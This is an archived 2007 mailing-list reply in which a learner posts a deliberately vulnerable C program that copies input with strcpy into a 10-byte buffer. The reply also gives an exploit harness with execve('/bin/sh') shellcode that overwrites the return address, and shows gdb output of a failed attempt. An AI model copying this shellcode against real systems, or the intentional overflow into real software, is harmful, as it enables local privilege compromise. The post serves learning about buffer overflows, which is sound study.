Vulnerability Development mailing list archives

Re: Re: understanding buffer overflows


From: ma () rebeco at
Date: 1 Nov 2007 23:48:55 -0000

thank you!

this was a great example but it didnt work on my debian machine. - but it worked better than mine.

i have edited your example as folowed:

vuln.cpp:

#include <stdio.h>
#include <string.h>

int foo (char *input)
{
char buffer [10];
strcpy(buffer, input);
return (0);
}

int main (int argc, char * argv[])
{
if (argc > 1)
foo(argv[1]);
else
printf("usage: %s string", argv[0]);
return 1;
}


test.cpp:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
        char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char buffer[20];
        long myaddr=(long)&shellcode;
        printf("Addr of Shellcode:%p\n",myaddr);
        long bufadr=(long)&buffer[14];
        *(long *)bufadr=myaddr;
        execlp("./vuln", "vuln", buffer, NULL);
        return 0;
}

and i think the output looks very ok - isnt it?

./test
Addr of Shellcode:0xbfef862a <<-
Speicherzugriffsfehler (core dumped)

and - i think the importent part - from gdb:

edi            0x0      0
eip            0xbfef862a       0xbfef862a <<-
eflags         0x210246 [ PF ZF IF RF ID ]

but no more shell session was loaded. :-(


Current thread: